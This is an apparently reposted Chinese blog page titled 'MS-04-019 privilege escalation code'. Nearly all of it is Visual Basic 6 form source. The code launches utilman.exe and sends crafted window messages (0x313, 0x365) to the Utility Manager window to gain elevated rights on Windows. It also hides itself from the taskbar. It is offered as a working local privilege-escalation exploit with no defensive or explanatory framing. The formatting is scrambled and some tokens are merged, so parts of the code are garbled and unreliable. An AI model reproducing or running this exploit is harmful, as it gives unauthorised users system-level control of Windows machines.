Ms-0419 权限提升 代码

来源:互联网 发布:知乎 李矛 编辑:程序博客网 时间:2024/05/22 11:57
 
VERSION 5.00
Begin VB.Form Form1 
   Appearance      
=   0  'Flat
   BackColor       =   &H80000015&
   Caption         
=   "MS-04"
   ClientHeight    
=   1350
   ClientLeft      
=   60
   ClientTop       
=   450
   ClientWidth     
=   1950
   Icon            
=   "Form1.frx":0000
   LinkTopic       
=   "Form1"
   MaxButton       
=   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   1350
   ScaleWidth      
=   1950
   StartUpPosition 
=   2  '屏幕中心Powered by barenx
End
Attribute VB_Name 
= "Form1"
Attribute VB_GlobalNameSpace 
= False
Attribute VB_Creatable 
= False
Attribute VB_PredeclaredId 
= True
Attribute VB_Exposed 
= False
Option Explicit
'Powered by barenx
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As LongByVal wMsg As LongByVal wParam As LongByVal lParam As LongAs Long
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As LongByVal wMsg As LongByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As StringByVal lpWindowName As StringAs Long
Dim runTime As Long
Dim lHandle As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As LongByVal hWndInsertAfter As LongByVal x As LongByVal y As LongByVal cx As LongByVal cy As LongByVal wFlags As LongAs Long
Private Const SWP_NOSIZE = &H1

Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2

Private Sub Form_DblClick()
Dim i As Long
= 0
lHandle 
= Shell("utilman.exe /start", vbNormalNoFocus)
DoEvents
If lHandle <> 0 Then
    
Do
        Sleep (runTime)
        lHandle 
= FindWindow(vbNullString, "辅助工具管理器")
        i 
= i + 1
    
Loop While lHandle = 0 And i < 8
    
If lHandle <> 0 Then
        PostMessage lHandle, 
&H313, 00
        Sleep (runTime)
        SendMessage lHandle, 
&H365, 01
        
Me.WindowState = 1
    
End If
End If
End Sub


Private Sub Form_Initialize()
runTime 
= GetTickCount()
App.TaskVisible 
= False
End Sub


Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Static ShowOnTop As Boolean
If KeyCode = vbKeyF12 Then
    
If ShowOnTop = False Then
        SetWindowPos 
Me.hwnd, HWND_TOPMOST, Screen.Width - Me.Width, Screen.Height - Me.Height, 00, SWP_NOSIZE
        ShowOnTop 
= True
    
Else
        SetWindowPos 
Me.hwnd, HWND_NOTOPMOST, Screen.Width - Me.Width, Screen.Height - Me.Height, 00, SWP_NOSIZE
        ShowOnTop 
= False
    
End If
    
Me.Show
End If
If KeyCode = vbKeyF11 Then
    
Call Form_DblClick
End If
End Sub


Private Sub Form_Load()
Dim i As Long, j As Long
Sleep (
0)
Me.Width = Screen.Width / 6
Me.Height = Screen.Height / 6
Call Form_KeyDown(vbKeyF12, 0)
Sleep (
0)
= GetTickCount()
runTime 
= i - runTime
End Sub


Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
SetWindowPos 
Me.hwnd, HWND_NOTOPMOST, Screen.Width - Me.Width, Screen.Height - Me.Height, 00, SWP_NOSIZE

If lHandle <> 0 Then
    PostMessage lHandle, 
&H10, 00
End If
Sleep (runTime)
Sleep (
0)
Sleep (runTime)
lHandle 
= FindWindow(vbNullString, "辅助工具管理器")
If lHandle <> 0 Then
    PostMessage lHandle, 
&H10, 00
End If
End Sub


原创粉丝点击